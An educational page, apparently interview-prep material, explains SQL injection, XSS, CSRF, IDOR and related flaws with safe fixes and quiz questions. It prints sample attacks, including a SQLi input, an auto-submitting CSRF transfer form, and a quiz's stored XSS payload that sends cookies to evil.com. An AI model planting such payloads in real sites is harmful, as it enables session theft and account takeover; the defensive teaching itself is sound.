7 min read
Web Backend Fundamentals Index
Tier 1 -- Core Web & API Basics
Authentication & Authorization
Tier 2 -- Communication Models
Tier 3 -- Production & API Hardening
Web Backend Fundamentals Index
Tier 1 -- Core Web & API Basics
Authentication & Authorization
Tier 2 -- Communication Models
Tier 3 -- Production & API Hardening
Web Vulnerabilities
1. What It Is
Web vulnerabilities are classes of security bugs that allow attackers to compromise the confidentiality, integrity, or availability of a web application. As a backend engineer, you don't need to be a penetration tester, but you must know the common attack patterns so you don't accidentally introduce them.
The OWASP Top 10 (2021/2025) is the industry reference. This document covers the most interview-relevant and practically important ones: , , , IDOR, and a few others that regularly appear in backend work.
Which of the following best describes why backend engineers need to understand common web vulnerability patterns like SQL Injection, XSS, and CSRF?
2. How It Works in Practice
SQL Injection (SQLi)
An attacker injects SQL syntax into user input to manipulate database queries.
# Vulnerable — string interpolation into a query query = f"SELECT * FROM users WHERE email = '{user_input}'" # Attacker input: ' OR '1'='1 # Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1' # → returns all users # Safe — parameterized query query = "SELECT * FROM users WHERE email = %s" cursor.execute(query, (user_input,))
Fix: always use parameterized queries or ORM query builders that bind parameters separately. Never concatenate user input into SQL strings.
Cross-Site Scripting (XSS)
An attacker injects JavaScript into a page that runs in other users' browsers. The script can steal cookies, redirect to phishing pages, or exfiltrate data.
Three types:
- Stored : malicious script saved in the database (e.g., a comment field), rendered to all users.
- Reflected : payload in a URL parameter, rendered in the server response.
- DOM XSS: payload processed and inserted into the DOM entirely in the browser, never touches the server.
Fixes:
- Escape all user-controlled output in HTML context (use template engines that auto-escape: React, Django templates, Jinja2 with autoescaping).
- Set
Content-Security-Policyheader to restrict script sources. - Use
HttpOnlyon cookies so stolen cookies can't be read by JavaScript even if XSS succeeds.
Cross-Site Request Forgery (CSRF)
A malicious site tricks an authenticated user's browser into making a request to your server using their existing (browsers attach cookies automatically).
<!-- On attacker's site --> <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker_account"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit()</script>
If the user is logged into bank.com, this form submits with their real cookies.
Fixes:
- SameSite=Strict/Lax on cookies — browser won't send cookies on cross-site requests (modern, preferred).
- tokens — server issues a random token per ; client must include it in every state-changing request; server validates it.
- Check
Origin/Refererheaders as a defense-in-depth measure.
Insecure Direct Object Reference (IDOR)
A user accesses resources belonging to another user by guessing or modifying an ID.
GET /api/invoices/1042 → returns your invoice
GET /api/invoices/1041 → returns someone else's invoice (bug!)
The server returns invoice 1041 without checking if the authenticated user owns it.
Fix: always check authorization at the object level — verify the requesting user has permission to access the specific record, not just that they are authenticated.
invoice = db.get_invoice(invoice_id) if invoice.owner_id != current_user.id: raise PermissionDenied
Security Misconfiguration
Leaving debug endpoints exposed, running with default credentials, exposing stack traces to users, or having overly permissive headers.
Common examples:
Access-Control-Allow-Origin: *on an API that uses auth (cookies aren't sent with*origin, but it's still a signal of sloppy thinking)- Error responses that include SQL errors, stack traces, or internal paths
- Admin interfaces accessible without IP allowlisting
Sensitive Data Exposure
Storing or transmitting sensitive data without adequate protection:
- Passwords stored as plain text or with weak hashing (MD5, SHA-1) — use bcrypt, scrypt, or Argon2.
- API keys or secrets in version control or log files.
- Returning more data than needed in API responses (e.g., including
password_hashin a user JSON response).
A web application has a comment feature where users can post text that is stored in a database and displayed to all visitors. An attacker posts the following as a comment: <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Every user who visits the page afterwards has their session cookie sent to the attacker's server. Which type of XSS attack is this, and why?
3. Common Real-World Usage (Defense Patterns)
Input validation and parameterization: validate on the server side. Never trust client input.
Output encoding: encode before rendering. Use framework auto-escaping.
Principle of least privilege: DB users should only have SELECT/INSERT/UPDATE on needed tables. API endpoints should check permissions at the row level.
Security headers:
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Dependency scanning: use tools like Snyk, Dependabot, or npm audit / pip-audit to catch vulnerable library versions.
A database user account used by a web application's API needs to display user profiles and allow users to update their own settings. Following the principle of least privilege, which set of database permissions is most appropriate for this account?
4. Trade-offs and Common Mistakes
Not validating on the server side: "the frontend validates input so the backend doesn't need to" — this is wrong. Attackers bypass the frontend.
Trusting headers from clients: X-User-ID, X-Admin: true headers set by the client should never be trusted for authorization decisions.
Using UUIDs as a security measure against IDOR: UUIDs make IDs harder to guess, but are not a substitute for authorization checks. An attacker who gets someone else's UUID (from a URL in a shared link, for example) can still access the resource.
Over-permissive : Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is a browser-rejected misconfiguration, but reflecting back any Origin header without validation is equally dangerous.
Logging sensitive data: logging request bodies or headers that contain passwords, tokens, or PII creates a secondary breach vector.
A web application assigns UUIDs as resource identifiers instead of sequential integers, and a developer argues that no additional authorization checks are needed because UUIDs are practically impossible to guess. A user then shares a link containing their resource's UUID in a group chat. Which of the following best describes the security outcome?
5. Interview Angle
How to explain it
"The most common classes of backend vulnerabilities are SQLi (unsanitized input in queries), (unsanitized output in HTML), (cross-site state-change requests using cookies), and IDOR (missing row-level authorization). Defense is mostly about: parameterize queries, encode output, use SameSite cookies + tokens for CSRF, and always check permissions at the object level."
Common interview questions
Q: How do you prevent ? A: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.
Q: What is the difference between and CSRF? A: XSS is code injection — the attacker's script runs in the victim's browser, stealing data from your site. CSRF is a request forgery — the attacker tricks the victim's browser into making a legitimate-looking request to your site using their credentials. XSS is about what the attacker reads; CSRF is about what the attacker causes the server to do.
Q: How do you prevent CSRF?
A: Set SameSite=Lax or Strict on cookies (modern browsers handle this automatically). For APIs that must support legacy flows, use CSRF tokens.
Q: What is IDOR and how do you fix it? A: Insecure Direct Object Reference — when a user can access another user's resource by changing an ID parameter. Fix: check that the authenticated user owns or has permission to access the specific object on every request, not just that they're logged in.
Q: Where should passwords be stored? A: Hashed using a slow, salted algorithm: bcrypt (work factor 12+), scrypt, or Argon2id. Never MD5, SHA-1, or unsalted SHA-256.
A user discovers they can view another user's private order details by changing the order ID in the URL from /orders/1001 to /orders/1002, even though both users are authenticated. Which defense directly addresses this vulnerability?
6. Practical Examples
Parameterized query (Node.js + pg)
// Vulnerable const result = await db.query(`SELECT * FROM users WHERE id = ${req.params.id}`); // Safe const result = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);
IDOR check (Python/Django)
@login_required def get_invoice(request, invoice_id): invoice = get_object_or_404(Invoice, pk=invoice_id) if invoice.user != request.user: return HttpResponse(status=403) # or raise PermissionDenied return JsonResponse(invoice.to_dict())
CSRF token in Express
// The 'csurf' package was deprecated in 2023 due to a security vulnerability. // For modern apps, SameSite=Lax/Strict cookies (covered above) are the preferred defense. // If you need explicit CSRF tokens for legacy browser support, use 'csrf-csrf': const { doubleCsrf } = require('csrf-csrf'); const { generateToken, doubleCsrfProtection } = doubleCsrf({ getSecret: () => process.env.CSRF_SECRET, cookieName: '__Host-csrf-token', }); app.get('/form', (req, res) => { res.render('form', { csrfToken: generateToken(req, res) }); }); app.post('/submit', doubleCsrfProtection, (req, res) => { // Middleware throws if CSRF token doesn't match handleSubmit(req, res); });
bcrypt password hashing (Node.js)
const bcrypt = require('bcrypt'); // On registration const hash = await bcrypt.hash(plainPassword, 12); // cost factor 12 await db.saveUser({ email, passwordHash: hash }); // On login const match = await bcrypt.compare(plainPassword, storedHash); if (!match) return res.status(401).json({ error: 'Invalid credentials' });
Security headers (Express + helmet)
const helmet = require('helmet'); app.use(helmet()); // Sets CSP, X-Frame-Options, HSTS, X-Content-Type-Options, etc.
A developer writes the following Node.js database query: db.query('SELECT * FROM users WHERE id = ' + req.params.id). What is the correct fix, and why does it work?
Glossary History
Click dotted jargon to save explanations here.
Glossary History
Click dotted jargon to save explanations here.